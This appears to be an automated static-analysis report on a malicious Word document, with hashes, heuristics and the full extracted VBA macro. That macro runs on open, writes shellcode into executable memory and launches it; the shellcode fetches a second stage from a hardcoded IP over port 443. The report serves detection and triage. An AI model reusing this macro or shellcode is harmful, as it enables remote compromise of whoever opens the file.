Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e4b7ecfbb3ed3da3…

MALICIOUS

Office (OLE)

34.5 KB Created: 2014-03-20 15:58:00 Authoring application: Microsoft Office Word First seen: 2015-09-30
MD5: ab5be0eca64fd701684219082b020ec0 SHA-1: 2e36c44c12a2624339f93eb41038a20dc33fad01 SHA-256: e4b7ecfbb3ed3da338eae5b30f286bf9c8264de882122908a78b54dbb99f289e
206 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a malicious Microsoft Word document that exploits the CVE-2007-3899 vulnerability. The embedded VBA macro uses VirtualAlloc to allocate memory and RtlMoveMemory to copy shellcode into the allocated memory, likely to download and execute a second-stage payload. The AutoOpen macro is present, indicating an attempt to automatically execute the malicious code upon opening the document.

Heuristics 9

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3550 bytes
SHA-256: 59e8c3c37f424e1680ceb53d79ff497723848ae2998ad244ec1e8d09a76adda5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
#If VBA7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Kotvi As Long, ByVal Fgwclokmo As Long, ByVal Phofumo As LongPtr, Tftcaanok As Long, ByVal Nbfubrp As Long, Lmmo As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Wyx As Long, ByVal Hkxxxokqg As Long, ByVal Canvlmw As Long, ByVal Cjxbq As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Ndodhamhf As LongPtr, ByRef Mesqpcvd As Any, ByVal Opyac As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Kotvi As Long, ByVal Fgwclokmo As Long, ByVal Phofumo As Long, Tftcaanok As Long, ByVal Nbfubrp As Long, Lmmo As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Wyx As Long, ByVal Hkxxxokqg As Long, ByVal Canvlmw As Long, ByVal Cjxbq As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Ndodhamhf As Long, ByRef Mesqpcvd As Any, ByVal Opyac As Long) As Long
#End If

Sub Auto_Open()
    Dim Cmhr As Long, Pzeocdkv As Variant, Vcp As Long
#If VBA7 Then
    Dim Uorx As LongPtr, Wysp As LongPtr
#Else
    Dim Uorx As Long, Wysp As Long
#End If
    Pzeocdkv = Array(232, 137, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, _
139, 114, 40, 15, 183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, _
13, 1, 199, 226, 240, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, _
116, 74, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 227, 60, 73, 139, 52, 139, 1, _
214, 49, 255, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, _
36, 117, 226, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, _
139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, _
235, 134, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, _
213, 49, 255, 87, 87, 87, 87, 106, 0, 84, 104, 58, 86, 121, 167, 255, 213, 235, 95, 91, _
49, 201, 81, 81, 106, 3, 81, 81, 104, 187, 1, 0, 0, 83, 80, 104, 87, 137, 159, 198, _
255, 213, 235, 72, 89, 49, 210, 82, 104, 0, 50, 160, 132, 82, 82, 82, 81, 82, 80, 104, _
235, 85, 46, 59, 255, 213, 137, 198, 106, 16, 91, 104, 128, 51, 0, 0, 137, 224, 106, 4, _
80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 49, 255, 87, 87, 87, 87, 86, 104, 45, _
6, 24, 123, 255, 213, 133, 192, 117, 26, 75, 116, 16, 235, 213, 235, 73, 232, 179, 255, 255, _
255, 47, 80, 109, 79, 80, 0, 0, 104, 240, 181, 162, 86, 255, 213, 106, 64, 104, 0, 16, _
0, 0, 104, 0, 0, 64, 0, 87, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, _
87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 205, 139, _
7, 1, 195, 133, 192, 117, 229, 88, 195, 232, 81, 255, 255, 255, 49, 55, 50, 46, 57, 57, _
46, 54, 55, 46, 49, 54, 51, 0)
    Uorx = VirtualAlloc(0, UBound(Pzeocdkv), &H1000, &H40)
    For Vcp = LBound(Pzeocdkv) To UBound(Pzeocdkv)
        Cmhr = Pzeocdkv(Vcp)
        Wysp = RtlMoveMemory(Uorx + Vcp, Cmhr, 1)
    Next Vcp
    Wysp = CreateThread(0, 0, Uorx, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

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